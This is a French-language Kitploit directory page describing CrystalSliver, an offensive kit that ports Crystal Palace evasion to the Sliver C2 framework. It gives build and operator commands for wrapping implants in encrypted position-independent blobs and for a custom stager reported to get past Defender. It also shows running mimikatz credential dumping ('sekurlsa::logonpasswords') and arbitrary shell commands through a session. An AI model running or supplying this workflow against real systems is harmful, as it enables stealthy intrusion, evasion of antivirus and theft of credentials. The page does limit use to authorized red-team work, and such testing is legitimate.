Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CrystalSliver — Kit d'évasion Crystal Palace pour Sliver | Kitploit
Outils/GitHubGitHub/licitrasimone/crystalsliver
Frameworks de Tests d'IntrusionEscalade de PrivilègesFrameworks d'ExploitationMécanismes de PersistanceÉvasion IDS/IPSMouvement LatéralShellcodePost-ExploitationCommandement et ContrôleRed TeamingGénération de ShellcodeDéveloppement de Charges Utiles
108147il y a 2 moisVérifié par Kitploit
GitHublicitrasimone/crystalsliver

CrystalSliver

Kit d'évasion Crystal Palace pour Sliver

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

crystal-kit-sliver

Kit d'évasion Crystal Palace porté vers Sliver C2.

Il s'agit du premier port public du Crystal-Kit de rasta-mouse (Cobalt Strike) vers Sliver. Il suit le même schéma cross-C2 éprouvé par Crystal-Kit-Xenon (Mythic).

  • Licence : MIT — Copyright (c) 2026 Simone Licitra
  • Cible : Windows x64 uniquement (contrainte amont)
  • Statut : vérifié de bout en bout — pipeline de build Kali + runtime Windows 10 x64 FLARE-VM. Session Sliver établie.

Ce qu'il fait

Remplace le loader réflectif par défaut de Sliver et le chemin d'exécution post-ex par Crystal Palace (Raphael Mudge, BSD). Le résultat est un blob de code indépendant de la position (PICO) qui regroupe :

  • résolution d'API par hash ror13 (pas de LoadLibrary / GetProcAddress en clair)
  • hooks IAT sur VirtualAlloc / VirtualProtect / VirtualFree / LoadLibraryA
Télécharger l’outil
  • spoofing de la pile d'appels Draugr pendant les callbacks
  • XOR sleep mask sur la DLL intégrée
  • obfuscation à l'exécution basée sur libtcg
  • La DLL d'implant Sliver (ou toute DLL post-ex) est masquée par XOR dans le PICO et n'est démasquée qu'en mémoire au moment de l'exécution.


    Deux cas d'utilisation

    A — Évasion de l'implant (PRINCIPAL)

    La DLL d'implant Sliver brute n'est jamais exécutée directement sur la cible. Elle est plutôt enveloppée avec Crystal Palace dans un PICO, chiffrée en AES-256-CBC, et livrée avec un stager personnalisé (~17 Ko) qui la déchiffre et l'exécute en mémoire.

    root@kitploit:~
    sliver-server generate --format shared → impl.dll
            │
            ▼
    generate-implant.sh --dll impl.dll → sliver.crystal.bin  (~110 KB PICO)
            │
            ▼
    bundle-stager.sh                   → csvchelper.exe (~17 KB, no embedded payload)
                                       → payload.dat    (~36 MB AES-256-CBC ciphertext)
            │
            ▼ deliver BOTH files to same directory on target
            ▼
    Windows VM: csvchelper.exe
            │
            ▼ BCrypt AES-256-CBC decrypt payload.dat → PICO in RW memory
            ▼ VirtualProtect(RX) → CreateThread → Crystal Palace entry
            ▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session
    

    B — Évasion post-ex (SECONDAIRE)

    Une fois une session active, exécutez les DLL sensibles (recon, dumpers d'identifiants, etc.) via Crystal Palace au travers d'une extension Sliver.

    root@kitploit:~
    sliver > extensions install crystal-loader-0.1.0.tar.gz
    sliver > crystal --payload C:/path/mimikatz.pico.bin
    

    Transmettez des arguments runtime sans rebuild en les ajoutant après | :

    root@kitploit:~
    sliver > crystal --payload C:/path/file.pico.bin|args here
    

    La crystal-loader.x64.dll est une extension DLL Sliver qui lit le blob PICO depuis le disque dans une région VirtualAlloc(RW), la passe en RX avec VirtualProtect, puis saute à l'entrée de Crystal Palace. Aucun mappage PAGE_EXECUTE_READWRITE n'est jamais conservé. Les chemins utilisent le forward slash. Le format des arguments est type:string (pas de binaire BOF). La DLL est chargée en mémoire par Sliver — elle n'est pas écrite en tant que fichier sur le disque de la cible.

    C — Exécution shell intégrée via Crystal Palace

    crystal-exec est une seconde commande incluse dans la même extension. Elle exécute des commandes shell arbitraires à travers l'évasion Crystal Palace en utilisant un PICO intégré directement dans la DLL de l'extension — aucun fichier PICO à uploader.

    root@kitploit:~
    sliver > crystal-exec --cmd "whoami /all"
    

    La sortie est renvoyée à l'opérateur via la session Sliver existante par un pipe. C'est le chemin le plus rapide pour des commandes shell ponctuelles lorsque vous n'avez pas besoin d'une DLL post-ex complète.


    Structure du dépôt

    root@kitploit:~
    crystal-kit-sliver/
    ├── loader/              ← Reflective loader sources (Use case A) — verbatim from Crystal-Kit
    ├── postex-loader/       ← Post-ex loader sources (Use case B) — Crystal-Kit + Xenon patch
    ├── libtcg.x64.zip       ← Upstream binary dependency (kept in tree for build convenience)
    └── sliver-glue/         ← Sliver-specific build glue
        ├── extension.json           Sliver Extension manifest
        ├── generate.sh              Wrap a post-ex DLL  → PICO (Use case B)
        ├── generate-implant.sh      Wrap a Sliver DLL   → PICO (Use case A)
        ├── bundle-implant.sh        Bundle PICO + Crystal Palace demo stager into drop.zip (legacy)
        ├── bundle-stager.sh         Build custom stager: csvchelper.exe + payload.dat (primary)
        ├── pack-extension.sh        Pack DLL + manifest into Sliver Extension tarball
        ├── Makefile                 make objects / package / clean
        ├── stager/                  Custom stager sources (AES-256-CBC, asInvoker manifest)
        └── wrapper/                 crystal-loader.c (BOF-compat DLL wrapper)
    
    docs/
    ├── RUNBOOK.md           Step-by-step Kali → Windows lab procedure
    ├── PORTING_MAP.md       File-by-file mapping Crystal-Kit → this repo + literal diffs
    └── TOOLCHAIN.md         Build prerequisites and pipeline details
    

    Compilation rapide (Kali / Debian / Ubuntu)

    root@kitploit:~
    # 1. Toolchain
    sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl
    
    # 2. Crystal Palace dist (BSD-3-Clause, Raphael Mudge)
    mkdir -p external/crystalpalace
    curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
       | tar -xz -C external/crystalpalace/
    export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
    
    # 3. Build everything
    make -C crystal-kit-sliver/loader all
    make -C crystal-kit-sliver/postex-loader all
    make -C crystal-kit-sliver/sliver-glue/wrapper all
    make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
    make -C crystal-kit-sliver/sliver-glue/crystal-exec all
    
    # 4. Use case A — wrap a Sliver implant and build the stager
    ./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
       crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
    ./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
       crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
       crystal-kit-sliver/sliver-glue/build/csvchelper.exe
    # → produces build/csvchelper.exe + build/payload.dat (deliver both to target)
    
    # 5. Use case B — wrap a post-ex DLL (postex.sh handles naming and prints the sliver command)
    ./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
    # With baked-in args:  postex.sh /path/to/postex.dll "sekurlsa::logonpasswords exit"
    ./crystal-kit-sliver/sliver-glue/pack-extension.sh
    
    # 6. crystal-exec — rebuild the built-in command executor (only needed after modifying crystalexec.c)
    cd crystal-kit-sliver/sliver-glue/crystal-exec && make && cd -
    ./crystal-kit-sliver/sliver-glue/pack-extension.sh
    

    Voir docs/RUNBOOK.md pour la procédure opérateur complète (installation de Sliver, configuration du listener, exécution sur la cible, dépannage).


    Ce qui est vérifié

    ÉlémentStatutPreuve
    Toutes les sources Crystal-Kit compilent sous MinGW 15.2 + NASM 3.01OKmake all sans erreur, 8 .o + 1 .bin par loader
    Patches Xenon post-ex présentsOKsection dfr "ror13", _DLLARGS_, paramètre dll_arguments dans DLL_PROCESS_ATTACH
    CLI Crystal Palace vérifiéeOK./link <spec> <dll> <out.bin> [%KEY=value] — positionnel, documenté dans dist/README
    Build PICO de bout en bout (cas d'utilisation A)OKPICO de 117 Ko produit à partir de la DLL de test
    Build PICO de bout en bout (cas d'utilisation B)OKPICO de 111 Ko produit via postex-loader/loader.spec
    Les DLL wrapper de l'extension Sliver se compilentOKcrystal-loader.x64.dll ~42 Ko, crystal-exec.x64.dll ~75 Ko — les deux en PE32+ exportant le symbole Initialize ; pas de RWX ; strippées
    Le tarball de l'extension se pack correctementOKtarball de 37 Ko validé avec tar -tzf
    Build du stager personnalisé (livraison en deux fichiers)OKbundle-stager.sh → csvchelper.exe (17 Ko, entropie 4.784) + payload.dat (AES-256-CBC)
    Exécution runtime sur Windows (cas d'utilisation A)OKSession Sliver établie sur Windows 10 x64 FLARE-VM ; le stager passe Defender (Wacatac.B!ml + ZomBytes.B)
    Exécution runtime sur Windows (cas d'utilisation B)OKcrystal --payload C:/path/file.pico.bin — nouvelle session Sliver établie via le PICO post-ex ; format d'argument vérifié en type:string, chemin en forward slash
    Commande crystal-execOKSortie de la commande shell renvoyée à l'opérateur via un pipe ; PICO intégré dans la DLL de l'extension, aucun upload requis

    Dépendances

    DépendanceLicenceComment l'obtenirInclus ?
    Crystal Palace (crystalpalace.jar, link, etc.)BSD-3-Clause, (c) 2025 Raphael Mudge / AFF-WGcurl -O https://tradecraftgarden.org/download/cpdist-latest.tgzNon (.gitignore exclut external/)
    libtcg.x64.zipBinaire amont, licence non précisée (probablement dérivé de QEMU TCG)Copié depuis le dépôt amont Crystal-KitOui, conservé dans l'arborescence pour la commodité du build
    Sliver C2GPLv3https://sliver.shNon — dépendance runtime uniquement
    MinGW-w64 + NASMCompatible GPLapt install ou brew installNon

    Ce dépôt ne redistribue PAS crystalpalace.jar. Le pipeline de build le récupère en externe et le référence via la variable d'environnement CRYSTAL_PALACE_HOME.


    Attributions

    Voir NOTICE.md pour la liste complète des droits d'auteur et licences amont. Résumé succinct :

    • rasta-mouse — Crystal-Kit (MIT) — loader réflectif de base, loader postex, fichiers spec
    • nickswink — Crystal-Kit-Xenon (MIT) — modèle de patch cross-C2 (suppression des smart pointers + section dll_args)
    • Raphael Mudge / AFF-WG — Crystal Palace (BSD-3-Clause) — linker et outillage PIC
    • TrustedSec — COFFLoader (BSD-3-Clause) — couche de compatibilité BOF (beacon.h, beacon_compatibility.c/h)
    • BishopFox — Sliver C2 (GPLv3) — framework cible

    Feuille de route

    • 1 — Audit des dépôts amont + extraction du diff entre Crystal-Kit et Crystal-Kit-Xenon
    • 2 — Documentation de la toolchain + échafaudage du dépôt
    • 3 — Carte de portage fichier par fichier avec diffs littéraux (docs/PORTING_MAP.md)
    • 4 — Sources copiées + patches Xenon appliqués + LICENSE + NOTICE
    • 5 — Scripts glue sliver-glue/ et manifeste d'extension
    • 6a — Wrapper DLL écrit, compilé (MinGW 15.2), packagé, shellcode de smoke test
    • 6b — CLI Crystal Palace vérifiée, vrai PICO construit de bout en bout
    • 6c — Double cas d'utilisation A/B : generate-implant.sh + bundle-implant.sh
    • 6d — Test runtime sur lab Windows x64 — cas d'utilisation A vérifié (session Sliver établie sur FLARE-VM)
    • 6e — Runtime du cas B vérifié (crystal --payload fonctionne, format d'argument corrigé en type:string, chemin en forward slash)
    • 6f — Commande crystal-exec : exécution de commandes shell post-ex intégrée via Crystal Palace (aucun upload requis)
    • 6g — Arguments runtime via le séparateur | pour des arguments DLL dynamiques sans rebuild

    Avertissement

    Outillage de sécurité offensive destiné aux engagements red team autorisés, à la recherche en laboratoire et à l'éducation. À utiliser uniquement dans des environnements où vous disposez d'une autorisation écrite. L'auteur décline toute responsabilité en cas d'usage détourné.